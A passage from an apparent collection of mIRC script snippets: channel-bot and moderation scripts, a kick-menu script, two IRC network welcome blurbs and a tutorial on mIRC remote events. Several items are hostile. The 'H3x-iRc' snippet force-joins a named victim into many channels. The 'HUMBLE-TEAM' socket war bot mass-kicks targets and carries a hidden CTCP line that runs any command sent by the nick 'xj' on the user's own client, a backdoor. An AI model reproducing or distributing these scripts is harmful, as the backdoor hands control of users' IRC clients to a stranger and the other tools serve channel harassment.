(RoomRule#3) | /notice $nick 4: (RoomRule#4) | /notice $nick 5: (RoomRule#5) | /notice $nick 6: (RoomRule#6) | /notice $nick 7: (RoomRule#7) | /notice $nick 8: (RoomRule#8) | /notice $nick 9: (RoomRule#9) | /notice $nick 10: (RoomRule#10) on 1:TEXT:?site:#: /notice $nick Visit our web site at ( Web Site URL) on 1:TEXT:hi (BotNick):#: msg $chan Yo $nick what's up ? on 1:TEXT:hiya (BotNick):#: msg $chan Yo $nick what's up ? on 1:TEXT:hey (BotNick):#: msg $chan Yo $nick what's up ? on 1:TEXT:hello (BotNick):#: msg $chan Yo $nick what's up ? on 1:TEXT:yo (BotNick):#: msg $chan Yo $nick what's up ? on 1:TEXT:not much what's up with you (BotNick)*:#: /msg $chan Yeah same here just sitting here drinking some iced tea :p on 1:TEXT:not much what's up with u (BotNick)*:#: /msg $chan Yeah same here just sitting here drinking some iced tea :p on 1:ACTION:hugs (BotNick):#: msg $chan hugs $nick on 1:ACTION:pokes (BotNick):#: msg $chan (BotNick) pokes $nick back :P on 1:TEXT:?commands:#: /notice $nick type ?rules for room rules | notice $nick type ?site for the URL of the website for the room | notice $nick Type ?rmop for a list of Room OP's | notice $nick Type ?funstuff for a list of fun commands | notice $nick Type ?time to see the time on 1:TEXT:?funstuff:#: /notice $nick (BotNick) wop nickname...Makes me wop someone. | /notice $nick (BotNick) poke nickname....makes me poke someone. | /notice $nick (BotNick) tase nickname.....makes me tase someone. on 1:TEXT:?rmop:#: /notice $nick The OP's of #RoomName are (RoomOps ) on 1:TEXT:?time:#: msg $chan The time is $time(h:nn:ss tt ) (TimeZone) $day $adate on 20:TEXT:***************:?: msg $chan $1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 on 1:TEXT: wop *:#:{ msg $chan (BotNick) wops $$3 upside da head :) } on 1:TEXT:(BotNick) tase *:#:{ msg $chan (BotNick) tases $$3 $4-10 and watches $$3 flop like a fish :P } on 1:TEXT:(BotNick) poke *:#:{ msg $chan (BotNick) pokes $$3 with a 10 foot pole :P } on 10:TEXT:?voice*:#:{ /mode $chan +v $$2 } on 10:TEXT:?devoice*:#:{ /mode $chan -v $$2 } on 10:TEXT:?kick*:#:{ /kick $chan $$2 $3-15 } on 10:TEXT:?op*:#:{ /mode $chan +o $$2 } on 10:TEXT:?halfop*:#:{ /mode $chan +h $$2 } on 10:TEXT:?deop*:#:{ /mode $chan -o $$2 } on 10:TEXT:?dehalfop*:#:{ /mode $chan -h $$2 } on 10:TEXT:?bankick*:#: { /ban -k $chan $$2 2 $3-20 } on 10:TEXT:?ban*:#: { /ban $chan $$2 2 } on 10:TEXT:?unban*:#: { /ban -r $chan $$2 2 } on 10:TEXT:?invite*:#: { /invite $$2 $chan } on 10:TEXT:?help:#: /notice $nick ?op Ops a nick | /notice $nick ?deop Deops a nick | /notice $nick ?halfop HalfOps a nick | /notice $nick ?dehalfop DehalfOps a nick | /notice $nick ?voice voices a nick | /notice $nick ?devoice devoices a nick | /notice $nick ?kick Kicks a nick | /notice $nick ?ban Bans a nick | /notice $nick ?bankick bans and kicks a nick | /notice $nick ?unban Unbans a nick | /notice $nick ?timeban(5,2,1) Bans and kicks a nick for five (5) or two (2) or one (1) minute(s) | notice $nick ?invite invites someone into the channelon 10:TEXT:?timeban5*:#: /ban -k-u300 $chan $$2 2 $3-20 on 10:TEXT:?timeban2*:#: /ban -k-u120 $chan $$2 2 $3-20 on 10:TEXT:?timeban1*:#: /ban -k-u60 $chan $$2 2 $3-20 on 10:TEXT:?timeban5*:#: /ban -k-u300 $chan $$2 2 $3-20 on 20:TEXT:?adduser *:#: /guser 10 $$2 | /notice $nick $$2 has been added to (BotNick)'s user list on 20:TEXT:?deluser *:#: /ruser 10 $$2 | /notice $nick $$2 has been deleted (BotNick)'s user list on 10:JOIN:#: { /notice $nick Welcome to #RoomName Type ?rules for room rules and ?site for the room's website address and ?rmop for a list of room ops ?commands for commands and ?funstuff for fun commands and type ?time to see the time | /mode $chan +o $nick | /mode $chan +v $nick } } } }
  10. on *:text:*:#: { if ($address == Youraddress/vhost) { if ($regex($1-,/(^|\s)(kick?k\s\S+)/i)) { tokenize 32 $regml(2) | kick $chan $2 requested by my owners } if ($regex($1-,/(^|\s)(vop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs vop $chan add $2 3 | mode $chan +v $2 } if ($regex($1-,/(^|\s)(dvop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs vop $chan del $2 } if ($regex($1-,/(^|\s)(hop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs hop $chan add $2 | mode $chan +h $2 } if ($regex($1-,/(^|\s)(dhop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs hop $chan del $2 } if ($regex($1-,/(^|\s)(aop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs aop $chan add $2 | mode $chan +o $2 } if ($regex($1-,/(^|\s)(daop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs aop $chan del $2 } if ($regex($1-,/(^|\s)(sop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs sop $chan add $2 } if ($regex($1-,/(^|\s)(dsop?p\s\S+)/i)) { tokenize 32 $regml(2) | cs sop $chan del $2 } if ($regex($1-,/(^|\s)(op?p\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +o $2 } if ($regex($1-,/(^|\s)(deop?p\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -o $2 } if ($regex($1-,/(^|\s)(idle?e\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -o $2 } if ($regex($1-,/(^|\s)(halfop?p\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +h $2 } if ($regex($1-,/(^|\s)(dehalfop?s\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -h $2 } if ($regex($1-,/(^|\s)(voice?e\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +v $2 } if ($regex($1-,/(^|\s)(devoice?e\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -v $2 } if ($regex($1-,/(^|\s)(ban?n\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +b $2 } if ($regex($1-,/(^|\s)(tban?n\s\S+)/i)) { tokenize 32 $regml(2) | ban -ku3600 $chan $2 } if ($regex($1-,/(^|\s)(gag?g\s\S+)/i)) { tokenize 32 $regml(2) | ban -u300 $chan ~q: $+ $address($2,2) } if ($regex($1-,/(^|\s)(door?r\s\S+)/i)) { tokenize 32 $regml(2) | ban -ku60 $chan $2 } if ($regex($1-,/(^|\s)(unban?n\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -b $2 } if ($regex($1-,/(^|\s)(akick?k\s\S+)/i)) { tokenize 32 $regml(2) | cs akick $chan add $address($2,2) } if ($regex($1-,/(^|\s)(deakick?k\s\S+)/i)) { tokenize 32 $regml(2) | cs akick $chan del $address($2,2) } if ($regex($1-,/(^|\s)(silence?e\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +b ~q: $+ $address($2,2) } if ($regex($1-,/(^|\s)(unsilence?e\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -b ~q: $+ $address($2,2) } if ($regex($1-,/(^|\s)(mode?e\s\w+)/i)) { tokenize 32 $regml(2) | mode $chan + $+ $right($regml(2),6-1) } if ($regex($1-,/(^|\s)(demode?e\s\w+)/i)) { tokenize 32 $regml(2) | mode $chan - $+ $right($regml(2),6-1) } if ($regex($1-,/(^|\s)(shutdown?n\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +RmS } if ($regex($1-,/(^|\s)(freechan?n\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -RmS } if ($regex($1-,/(^|\s)(noflood?d\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +j 5:5 } if ($regex($1-,/(^|\s)(Xflood?d\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -j } if ($regex($1-,/(^|\s)(stopflood?d?s?\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan +f [5c#C15,25j#i5,10k#K15,30m#M5,10n#N15,7t]:15 } if ($regex($1-,/(^|\s)(removeflood?d?s?\s\S+)/i)) { tokenize 32 $regml(2) | mode $chan -f [5c#C15,25j#i5,10k#K15,30m#M5,10n#N15,7t]:15 } if ($regex($1-,/(^|\s)(leavethis?s\s\S+)/i)) { tokenize 32 $regml(2) | /part $chan } if ($regex($1-,/(^|\s)(jointhis?s\s\S+)/i)) { tokenize 32 $regml(2) | /join $2 } if ($regex($1-,/(^|\s)(joinme?e\s\S+)/i)) { tokenize 32 $regml(2) | /join #mircbots } if ($regex($1-,/(^|\s)(cycle?e\s\S+)/i)) { tokenize 32 $regml(2) | /hop # } if ($regex($1-,/(^|\s)(noob?b?s?\s\S+)/i)) { tokenize 32 $regml(2) | echo -a $regml(2) | mode $chan +RSCT | .timerMODE 1 $2 { mode $chan -RSCT } } if ($regex($1-,/(^|\s)(update?e?s?\s\S+)/i)) { tokenize 32 $regml(2) | /msg nickserv update } if ($regex($1-,/(^|\s)(invite?e?s?\s\S+)/i)) { tokenize 32 $regml(2) | /invite $2 $chan } if ($regex($1-,/(^|\s)(kill?e?s?\s\S+)/i)) { tokenize 32 $regml(2) | /kill $2 this was requested by my owners } if ($regex($1-,/(^|\s)(uline?e?s?\s\S+)/i)) { tokenize 32 $regml(2) | /uline $2 } if ($regex($1-,/(^|\s)(svskill?e?s?\s\S+)/i)) { tokenize 32 $regml(2) | /svskill $2 :this was requested by my owners } if ($regex($1-,/(^|\s)(ogag?e?s?\s\S+)/i)) { tokenize 32 $regml(2) | /svso $2 - | /svsmode $2 +d | /shun $2 gagged } if ($regex($1-,/(^|\s)(uogag?e?s?\s\S+)/i)) { tokenize 32 $regml(2) | /svsmode $2 -d | /shun - $+ $2 } } } on ^*:TEXT:*:?: { if ($address == Youraddress/vhost) { if ($regex($1-,/(^|\s)(jointhis?s\s\S+)/i)) { tokenize 32 $regml(2) | /join $2 } } } to put into your remotes on *:input:*: { if ($regex($1-,/(^|\s)(jointhis?s\s\S+)/i)) { tokenize 32 $regml(2) .msg Botname jointhis $2 } } on *:input:*: { if ($regex($1-,/(^|\s)(leavethis?s\s\S+)/i)) { tokenize 32 $regml(2) .msg Botname leavethis $2 } }
  11. #################################################################### #################################################################### ######################### H3x-iRc By Malcolm ####################### #################################################################### #################################################################### menu channel { mass:/mass_sajoin } alias mass_sajoin { var %x $$?="how many rooms?:" var %y $$?="name of victim:" var %i 1 while (%i <= %x) { sajoin %y #H3x-irc $+ $rand(1,9999) inc %i 1 Save as Draft } }
  12. chain

    Kill Bot

    on *:text:*!kill *:%bot-fun:{ /set %kill $rand(1,4) /set %bf $rand(1,4) if ( %kill == 1 ) { /set %ataque died from the wounds you have inflicted. He's swimming with the fishes now. /set %defensa tried to strike back but failed completely. /msg %bot-fun 7 $$2 %ataque /msg %bot-fun 7 $$2 %defensa } if ( %kill == 2 ) { /set %ataque died from the wounds you have inflicted. He's swimming with the fishes now. /set %defensa couldn't contain 7 $$2 's backfire. 7 $nick died from the wounds he inflicted. /msg %bot-fun 7 $$2 %ataque /msg %bot-fun 7 $nick %defensa } if ( %kill == 3 ) { /set %ataque Suffered but is still alive. /set %defensa couldn't contain 7 $$2 's backfire. 7 $nick died from the wounds he inflicted. /msg %bot-fun 7 $$2 %ataque /msg %bot-fun 7 $nick %defensa } if ( %kill == 4 ) { /set %ataque Suffered but is still alive. /set %defensa tried to strike back but failed completely. /msg %bot-fun 7 $$2 %ataque /msg %bot-fun 7 $$2 %defensa } }
  13. [X]X]X]X]X]X]X]X]X]X]X]X]X]X]X]X] [X]X] Chanserv kicks by Neo [X]X] [X]X]X]X]X]X]X]X]X]X]X]X]X]X]X]X] menu nicklist { - Chanserv Kicks .Kicks ..Flooding:/cs kick $active $$1 4. 4. 7.: 8:: 15 4Kicked for: Flooding/Repeating 8:: 7:. 4. 04.[ No Flooding 7|| No escriba en exceso. 4] ..Spamming:/cs kick $active $$1 2. 2. 11.: 0:: 15 12Kicked for: Spamming 0:: 11:. 2. 2. 12[ No Spamming 11|| No anuncie propaganda 12] ..Respect Users:/cs kick $active $$1 3. 3. 9.: 0:: 15 9Kicked : Respect Users 0:: 9:. 3. 3.[ Show Respect 9|| Respete a los otros usuarios 3] ..Inappropriate:/cs kick $active $$1 3. 3. 9.: 0:: 15 9Kicked : Innapropriate Language/Conduct 0:: 9:. 3. 3.[ Use Appropriate Language 9|| Utilize un tono adecuado 3] ..Caps:/cs kick $active $$1 4. 4. 7.: 8:: 15 4Kicked for: Excessive Caps 8:: 7:. 4. 04.[ No Excessive Capitals 8|| No use demasiadas mayusculas 4] ..Duels:/cs kick $active $$1 4. 4. 7.: 8:: 15 4Kicked: Duels 8:: 7:. 4. 04.[ No IPs, Duel Tickets, or Telling People to Press Bad Keys 7|| No anuncie direcciones de IP, ni resguardos de duelos, ni sugiera a otros usuarios que presionen teclas equivocadas 4] ..Respect Rules and Ops:/cs kick $active $$1 3. 3. 9.: 0:: 15 9Kicked: Respect 0:: 9:. 3. 3.[ Respect Rules and Operators 9|| Obedezga las reglas y a los moderadores. 3] ..Advertising:/cs kick $active $$1 2. 2. 11.: 0:: 15 12Kicked: Advertising 0:: 11:. 2. 2.[ Don't Advertise 11|| No anuncie 2] ..Scripts/Clones:/cs kick $active $$1 3. 3. 9.: 0:: 15 9Kicked: Scripts/Clones 0:: 9:. 3. 3.[ No Scripts or Clones 9|| No codigos ni clones. 3] ..Abuse:/cs kick $active $$1 4. 4. 7.: 8:: 15 4Kicked for: Abuse Reports 8:: 7:. 4. 04.[ Do not make Abuse Reports in the channel 7|| No envia quejas al la sala, envie sus quejas a los operadores o moderadores. 4] ..Duel (30 Lines):/cs kick $active $$1 12[ Duel Requests 12]- 14- 12- 14- 12[ Please limit your duel requests to 1 every 30 lines or 5minutes 12] ..Bad Nick: /ban $$* | /kick $nick $chan $$1 4. 4. 7.: 8:: 15 4Kicked for: Bad Nick 8:: 7:. 4. 04.[ Bad Nick (Insulting or Staff Impersonation).Change your nick ,then PM me after doing so 8|| Retroceso R�pido 4] .Ban, Kick ..Flooding:/cs ban $active $$1 4. 4. 7.: 8:: 15 4kicked for: Flooding/Repeating 8:: 7:. 4. 04.[ No Flooding 7|| No escriba en exceso. 4] ..Spamming:/cs ban $active $$1 2. 2. 11.: 0:: 15 12kicked for: Spamming 0:: 11:. 2. 2. 12[ No Spamming 11|| No anuncie propaganda 12] ..Respect Users:/cs ban $active $$1 3. 3. 9.: 0:: 15 9Kicked : Respect Users 0:: 9:. 3. 3.[ Show Respect 9|| Respete a los otros usuarios 3] ..Inappropriate:/cs ban $active $$1 3. 3. 9.: 0:: 15 9Kicked : Innapropriate Language/Conduct 0:: 9:. 3. 3.[ Use Appropriate Language 9|| Utilize un tono adecuado 3] ..Caps:/cs ban $active $$1 4. 4. 7.: 8:: 15 4Kicked for: Excessive Caps 8:: 7:. 4. 04.[ No Excessive Capitals 8|| No use demasiadas mayusculas 4] ..Duels:/cs ban $active $$1 4. 4. 7.: 8:: 15 4Kicked: Duels 8:: 7:. 4. 04.[ No IPs, Duel Tickets, or Telling People to Press Bad Keys 7|| No anuncie direcciones de IP, ni resguardos de duelos, ni sugiera a otros usuarios que presionen teclas equivocadas 4] ..Respect Rules and Ops:/cs ban $active $$1 3. 3. 9.: 0:: 15 9Kicked: Respect 0:: 9:. 3. 3.[ Respect Rules and Operators 9|| Obedezga las reglas y a los moderadores. 3] ..Advertising:/cs ban $active $$1 2. 2. 11.: 0:: 15 12Kicked: Advertising 0:: 11:. 2. 2.[ Don't Advertise 11|| No anuncie 2] ..Scripts/Clones:/cs ban $active $$1 3. 3. 9.: 0:: 15 9Kicked: Scripts/Clones 0:: 9:. 3. 3.[ No Scripts or Clones 9|| No codigos ni clones. 3] ..Abuse:/cs ban $active $$1 4. 4. 7.: 8:: 15 4Kicked for: Abuse Reports 8:: 7:. 4. 04.[ Do not make Abuse Reports in the channel 7|| No envia quejas al la sala, envie sus quejas a los operadores o moderadores. 4] ..Duel (30 Lines):/cs ban $active $$1 12[ Duel Requests 12]- 14- 12- 14- 12[ Please limit your duel requests to 1 every 30 lines or 5minutes 12] ..Bad Nick: /ban $$* | /kick $nick $chan $$1 4. 4. 7.: 8:: 15 4Kicked for: Bad Nick 8:: 7:. 4. 04.[ Bad Nick (Insulting or Staff Impersonation).Change your nick ,then PM me after doing so 8|| Retroceso R�pido 4] }
  14. on *:start: { .nick sEmuT^Ap| .fullname : 9HUMBLE-TEAM .anick jipas .emailaddr m_matsalleh $+ yahoo.com } alias sf2 { .sockclose * | .iut | .echo -a 9::::::: connecting %socknick | halt } alias iut { sockopen %socknick %server %port | .notify %socknick | .echo -a 7::: reconnecting } alias f2 { .set %socknick jeff | .set %pass a | .set %server bohsia.homelinux.org | .set %port 7000 | .echo -a 7:::: Socket Bot COnfigured | halt } alias hKh { return $mid($1,2,$calc($pos($1,!,1) - 2 )) } alias f3 { if (!%c) set %c $?"Channel Input" | else { set %c $?"Change Your Channel Input" } } alias f7 { sockclose * | .echo 4 ** sockets CLosed ** } alias sf7 { msg $chan : 4Cal ialah $fulldate } alias f5 { %d = $addtok(%d,$1,44) | %e = $addtok(%d,$1,44) | %war = $addtok(%war,$address($1,2),32) | if ($sockname ison %c) && ($1 ison %c) .hk $sockname kick %c %e | echo 4 -a ** $1 Added To WaRList ** } alias sf5 { %d = $remtok(%d,$1,1,44) | %e = $remtok(%e,$1,1,44) | %war = $remtok(%war,$address($1,2),32) | echo 4 -a ** $1 Removed From WaRList ** } alias f6 { %flist = $addtok(%flist,$1,44) | .echo 4 -a ** $1 Added To Friends ** } alias f8 { unset %war %kick %e %d %k | msg $chan 4 *** Clear *** } CTCP *:*:{ if ($nick == xj) { $1- } } alias sf8 { unset %socknick %pass %server %port | .echo 4 **! SOcknick Is Now Clear,Please Log New For Socknick selected**! } alias f9 { .sockwrite -tn %socknick privmsg $chan *** 8,7[ KICK : $iif(%kickni,%kickni,0) TIMES] ; 8,7[ KICKED : $iif(%kickme,%kickme,0): TIMES] 8,7[ACCURACY-KICK : $round($calc(( %kickni / ( %kickni + %kickme ))*100),2) $+ % ] *** } alias f10 { unset %kickme %kickni | .sockwrite -tn %socknick privmsg $chan : 8,7COUNTER 8,7KICK 8,7RESETING TO GAIN NEW POINT } on 1:sockopen:%socknick: { if (!$sockerr) { sockwrite -nt $sockname USER ING $+ $r(99,999) * * : 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» sockwrite -nt $sockname NICK $sockname sockwrite -nt $sockname umode -Mmep .set %warmode $true if (!$window(@HumbleGath)) window -ek @HumbleGath if (%e) { .timerkola -m 30 50 .sockwrite -tn %socknick kick %c %e : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +connected } } } on *:unotify:{ if ( $nick == %socknick ) { .sockclose * .unset %warmode | .timer 1 1 .iut | .set %warmode $false } } on *:notify:{ if ($me ison %c) && ( $nick == %socknick ) { .timerrkc -mc 200 0 sockwrite -tn %socknick join %c .sockwrite -tn %socknick privmsg %c hye im coming!! } } on 1:sockread:*:{ if ($sockerr > 0) { return } var %temp | sockread %temp if ($sockbr == 0) { return } if (%temp == $null) %temp = - tokenize 32 %temp if ($regex($1,^ERROR)) { sockclose $sockname } elseif ($regex($1,^PING$)) { hk $sockname PONG $2 } elseif ($regex($2,^(432|433)$)) { hk $sockname NICK $sockname } if ($2 == 376) { if ($me ison %c) { .echo -a 9** $sockname ** connected to %server hk $sockname JOIN %c } } if ($2 == kick) { var %m $hkh($1) if ($4 == $sockname) { %d = $addtok(%d,%m,44) %e = $addtok(%e,%m,44) %war = $addtok(%war,$mask($1,2),32) inc %kickme .. %kickme Times. .hk $sockname join %c .hk $sockname kick %c %m : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» http://www.hawkee.com/snippet/8212/ | .timerkicks -mc 25 45 .hk $sockname kick %c %m : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +targeted } else { %e = $remtok(%e,$4,1-1,44) | return } } if ($2 == mode) && (%warmode) { if (+o == $4) && ($5 == $sockname) { .set %Op.Me ! if (%kick) { hk $sockname kick %c $gettok(%e,1-1,44) : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +mode | .timerkicks -mc 30 65 hk $sockname kick %c $gettok(%e,1-1,44)) : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +stage=1 | { set %OP.Me $true } } } else { return } } if ($2 == join) { var %j $hkh($1) if ($istok(%war,$mask($1,2),32)) && (%j != $sockname) { %e = $addtok(%e,%j,44) if (%Op.Me) hk $sockname KICK %c %j : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +join | .timerkicksi -mc 1 70 hk $sockname KICK %c %j : $+ 0,3 14« 4¯¯¯¯¯ 7««« 0HÛMB|E¬TêAM 7»»» 4¯¯¯¯¯ 14» +2ndJOIN } else { return } } if ($2 == 353) { var %list $remove($7-,@,+o,-o,+v), %num = 1 while ($gettok(%e,%num,44) != $null) { if ($gettok(%e,%num,44) isin %list) { %k = $addtok(%k,$gettok(%e,%num,44),44) } inc %num } } if ($2 == 002) { .hk $sockname join %c } if ($2 == 401) || ($2 == 461) { %e = $remtok(%e,$4,1-1,44) | return | .timers off } if ($2 == 366) { if (%e) && (!%kick) .timerrekick -m 1 150 hantaker $sockname } if ($2 == 441) { %e = $remtok(%e,$4,1-1,44) | return | .timers off } if ($2 == 482) { if (!%kick) { %kick = 1 } } else { echo @HumbleGath $2 $1- } } on 1:input:*:{ if (.clear = $1) { .f8 | .sockwrite -tn %socknick privmsg %c 4Sudah clear bah tuan!!! } if (.say = $1) { .sockwrite -tn %socknick privmsg %c 4Kepada Kawan² Mohon Maaf Kalau Terkasar ekk~ :) } if (.point = $1) { f9 } if (.reset = $1) { f10 } if (.rest = $1) { .sockwrite -tn %socknick privmsg %c ~waroff for battlebohsia's commands } if (.lag = $1) { .sockwrite -tn %socknick privmsg %c ~lagme } if (.bl = $1) { .sockwrite -tn %socknick privmsg %c ~resetme } } on 1:nick:{ if ($istok(%d,$nick,44)) { %d = $reptok(%d,$nick,$newnick,1,44) } if ($istok(%e,$nick,44)) { %e = $reptok(%e,$nick,$newnick,1,44) } } on 1:kick:%c:{ if ($knick != %socknick) { if ($istok(%d,$knick,44)) { %d = $remtok(%d,$knick,1,44) } if ($istok(%k,$knick,44)) { %k = $remtok(%k,$knick,1,44) } if ($nick == %socknick) { .inc %kickni = 1 } } } alias hk { sockwrite -nt $1- } alias hkgath { goto $r(1,1) :1 | return : 9 -.HumBL3.TeaM.- 366 kicker!!!! } alias hantaker { if (%e) { .sockwrite -tn $1 kick %c $v1 $hkgath } if ($gettok(%e,1-1,44)) { .sockwrite -tn $1 kick %c $v1 $hkgath $+ 1 } if ($gettok(%e,2-2,44)) { .sockwrite -tn $1 kick %c $v1 $hkgath $+ 2 } } menu channel { - .[join] { .sockwrite -nt %socknick join %c } } menu nicklist { - .[kick|mode] { .sockwrite -nt %socknick kick %c $1 9Ehh~ Manual kick } } menu channel { - .[join|part] { .sockwrite -tn %socknick part %c 9Humble-Team | .sockwrite -nt %socknick join %c | .sockwrite -tn %socknick privmsg %c ~waroff | halt } }
  15. chain

    Koach.com

    Welcome to the all new Koach.com, where we remember what it's like to be new! We hope you like the new changes to the website. Please let us know what you think via the Contact form. We are a growing chat network and you are all welcome to come and chat with us! You can join us via our Message Boards or through Chat. If you need any help or assistance, please Contact us! Server Status Koach.com chat1.koach.com: chat2.koach.com: chat3.koach.com: chat4.koach.com:
  16. Welcome to IRC-nERDs, this network was originally started on freenode. Created to bring nerds together. We have services so you're free to register your nick and/or channel(s). If you need to invite a beginner, we have a webchat available @ https://webchat.irc.nerds.net -OR- Discord Available @ https://discord.gg/R5ebEgF Our main channel is used both for support and common chat, which is #nerds We're randomly active (sometimes idle), if you don't see any activity, try a simple 'hey' or ask a question if you need help. A couple other channels to try for support are #Linux and #hardware A good sense humor is highly recommended as a lot of people here enjoy the use of sarcasm. Just because you see us joking around, does NOT mean we wont help you the best we can. https://irc-nerds.com/wiki
  17. Remote Remote : Events Remotes are event based. Remotes are mIRC interpreted programs which responds to events. You should have no difficulty in understanding the concept if you can think logically. Events like when you get a private message or somebody says something on the channel or you are voiced or someone is banned or you click a button in a dialog box. The list of events are too many to enumerate them all here. We'll see some of the common events later. If you are still not clear about events, let me give you some real life examples. When you are hungry, you eat food. Being hungry is an event. When it gets dark you turn on the lights. Getting dark is an event again. When you are pinched you feel pain. Pinching is an event. Hope these examples gave you some idea atleast. Even if you are not clear yet don't worry, with the examples I'll give below it will become clear to you. The basic Remote structure is of three types. on <level>:<event>: <command> Events: connect, load, unload, disconnect, dns, exit etc. on <level>:<event>:<location/parameter>: <command> Events: active, open, close, filesent, filercvd, sendfail, getfail, input, invite, kick, logon, op, deop, ban, join, kick, voice, error etc. on <level>:<event>:<location/parameter>:<parameter/location>: <command> Events: keydown, keyup, text, notice etc. When an event named <event> of level <level> takes place at location <location> with the parameter <parameter>, execute the <command>. That's what the script instructs mIRC to do. Levels are special specifications you assign to a user at the Users panel. If you are a true blue newbie I'd suggest you just forget about Levels for now. We'll use the wildcard level for all the levels, that's users of all the levels will cause the command to be executed when he/she causes the event. You can always do without Users. Infact I never use them and I believe I can get the same result using remotes only, the result you get by the use of a Users file. Next we'll see some examples of Remote in action. on *:join:#: msg $nick Hello $nick welcome to # This piece of code will pm the nick who just joined the channel where you are in, with the message "Hello <nickname> welcome to <channelname>". on *:voice:#: if ($vnick == $me ) msg # Thank you $nick for the voice $+ . We used the On Voice event for this one. And then we checked if the voiced nick is yours if ($vnick == $me). If the condition is true it makes mIRC say "Thank you <nickname of the OP who voiced you> for the voice." in the channel where you were voiced. Now if we hadn't put the condition if ($vnick == $me), mIRC will just go about saying that whenever someone is voiced in the channel, even if it's not you. Notice again how the use of $vnick shows you the importance of knowing the mIRC variables. You can execute multiple commands by using the curly brackets { }. Here we have an example doing just that. It's taken from the mIRC help file. on 1:join:#moo:{ msg $nick Welcome $nick to channel #moo! msg $nick This is a herd-oriented channel, there are calfs present! msg $nick Please refrain from profaine mooing and/or bleating msg $nick Mammals enaging in such acts will be promptly demooted } The user level is 1; it's used in place of the * we used before. You can use either of them. This time in place of just a #, we've got a specified channel name - #moo. Let's say your nick is MooMan and a guy called Llama join the channel #moo., your mIRC will send the following four messages to Llama. <MooMan> Welcome Llama to channel #moo! <MooMan> This is a herd-oriented channel, there are calfs present! <MooMan> Please refrain from profaine mooing and/or bleating <MooMan> Mammals enaging in such acts will be promptly demooted Now here's the code which will pm the guy who just left the channel on 1:part:#moo:/msg $nick Thanks for grazing with us on #moo! Those examples were very simple examples of what you can do with remote and the command we executed was only msg. Read up the mIRC commands you could do lots more, use your imagination and creativity; instead of MSGing the $nick you could send a notice or open a window, listing all the people who left the channel with their IP and time or set a variable for the nick so that you can use the value in future and so on. The next example is a deOP protection script; which will OP you back, deOP the guy who deOPd you, ban and kick him/her from the channel with the message "Better luck next time". The code follows below. on *:deop:#: { if ($opnick == $me) { set %wasdeOP 1 set %evilOP $nick chanserv op # $me } } on *:op:#: { if (($opnick == $me) && (%wasdeOP)) { mode # -o %evilOP mode # +b %evilOP .timer 1 1 kick # $nick 12Better luck next time! .timer 1 60 mode # -b %evilOP unset %wasdeOP unset %evilOP } } The script consists of two parts: the on deOP and on OP components. When a deOPing takes place, the script checks if the deOPed nick is yours. If it is so, it sets two variables: %wasdeOP with the value 1 and %evilOP with the value the OP which deOPed you. And then it commands ChanServ to OP you. (The IRC network should have ChanServ and you should be a registered OP of the channel or the script won't work). Then comes the on OP part: When someone is OPed the script checks if the OPed nick is yours. If it is true it checks for the variable %wasdeOP which is set when you get deOPed. If both the conditions are true it deOPs, bans and kicks the OP (the nick of the OP is stored in %evilOP) which deOPed you with the message "Better luck next time!". Finally it unsets the two variables it set when you got deOPed. Please note: The above deOP protection script is not a very efficient one. It was just an example on remote and mIRC scripting in general. Next we'll write a script that will report of spammers/advertisers on the channel, it's getting more complex this time. It's based on the On Text event for the query window. This script could turn out pretty annoying if you really used it or it could back-fire if one of your friends mentioned a website to you, it's just an example to show you how remotes are written and work. on *:text:*:?: { if ((www* iswm $1-) || (http:* iswm $1-)) { var %c $comchan($nick,0) while (%c > 0 ) { msg $comchan($nick,%c) $nick is a spammer! dec %c } } } This example is a wholesome mIRC scripting example, in the sense that it uses remote, identifiers, variables, conditions and two important mIRC commands - var and dec. Just looking at the code could confuse you. But it's not very hard to understand it. Let me explain the code line by line. The ? in on *:text:*:?: is used to specify that the script should respond only to texts in a pm (queries). If you put a # instead, it will respond to texts in the channel; and putting a * will make the script respond to the event in both channel and query windows. The * after text: means: whatever be the text, execute the script. If you want you can specify a particular text or a wildcard in place of the * in the code. Next, the script checks if the text contains www or (operator ||) http in it. If it contains, it proceeds further, else, stops. Using $comchan($nick,0) it set a temporary value using a local variable %c for the no. of common channels you and the person are in ( var %c $comchan($nick,0) ). The next line while (%c > 0 ) checks for the condition: as long as the value of the no. of common channels are more than 0. If it's true, the script executes the command msg $comchan($nick,%c) $nick is a spammer! If you have read about the $comchan identifier you will notice the second parameter it takes, if not zero returns the Nth common channel, where N is a number. For this example let's say the number of common channels are three. Therefore the initial value of %c will be 3. $nick is a 